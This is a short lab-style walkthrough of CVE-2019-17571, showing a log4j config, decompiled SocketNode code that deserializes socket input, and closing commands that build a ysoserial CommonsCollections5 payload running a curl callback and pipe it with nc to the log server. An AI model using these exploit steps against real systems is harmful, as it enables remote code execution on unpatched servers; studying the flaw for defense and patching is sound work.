Cve 2019 17571

CVE-2019-17571

Setup

1
2
3
4
5
6
7
8
9
10
log4j.rootLogger=DEBUG, consoleAppender, fileAppender

log4j.appender.consoleAppender=org.apache.log4j.ConsoleAppender
log4j.appender.consoleAppender.layout=org.apache.log4j.PatternLayout
log4j.appender.consoleAppender.layout.ConversionPattern=[%t] %-5p %c %x - %m%n

log4j.appender.fileAppender=org.apache.log4j.RollingFileAppender
log4j.appender.fileAppender.layout=org.apache.log4j.PatternLayout
log4j.appender.fileAppender.layout.ConversionPattern=[%t] %-5p %c %x - %m%n
log4j.appender.fileAppender.File=demoApplication.log

Running the log4j server. We run it on port 5111 (first argument) with config.properties as config file(2nd argument)

1
2
3
$ java -jar JankenTestLogServer.jar 5111 config.properties # this will run a server on port 5111 listening for socket connection
# config.properties file is described above in setup

Finding the bug

Open JankenTestLogServer.jar with jadx to view the source code.

cve-2019-17571-1

1
2
3
4
5
6
7
8
9
10
11
12
13
try {
    logger.info("Listening on port " + port);
    ServerSocket serverSocket = new ServerSocket(port);
    while (true) {
        logger.info("Waiting to accept a new client.");
        Socket socket = serverSocket.accept();
        logger.info("Connected to client at " + socket.getInetAddress());
        logger.info("Starting new socket node.");
        new Thread(new SocketNode(socket, LogManager.getLoggerRepository()), "JankenTestLogServerApplication-" + port).start();
    }
} catch (Exception e) {
    e.printStackTrace();
}

The code starts Listening on port provided(5111 in our case) and whenever there is a new connection a new Thread is spawn to fulfil the socket request. The following code is responsible for that:

1
2
3
new Thread(new SocketNode(socket, LogManager.getLoggerRepository()), "JankenTestLogServerApplication-" + port).start();

So lets inspect SocketNode function. Its imported from import org.apache.log4j.net.SocketNode;. Lets open SocketNode.java

cve-2019-17571-2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 public SocketNode(Socket socket2, LoggerRepository hierarchy2) {
    this.socket = socket2;
    this.hierarchy = hierarchy2;
    try {
        this.ois = new ObjectInputStream(new BufferedInputStream(socket2.getInputStream()));
    } catch (InterruptedIOException e) {
        Thread.currentThread().interrupt();
        logger.error(new StringBuffer().append("Could not open ObjectInputStream to ").append(socket2).toString(), e);
    } catch (IOException e2) {
        logger.error(new StringBuffer().append("Could not open ObjectInputStream to ").append(socket2).toString(), e2);
    } catch (RuntimeException e3) {
        logger.error(new StringBuffer().append("Could not open ObjectInputStream to ").append(socket2).toString(), e3);
    }
}	

So the Input from socket stream is read directly into ObjectInputStream and this is where Deserialization occurs. So we just need to send a serialized rce object and this will get us rce.

Exploit

1
2
3
$ tar -xf jdk-7u80-linux-x64.tar.gz
$ ./jdk-7u80-linux-x64/bin/java -jar ysoserial.jar CommonsCollections5 "curl http://localhost:1111/" > haxtest.bin
$ cat haxtest.bin | nc localhost 5111

cve-2019-17571-rce

Enjoy the rce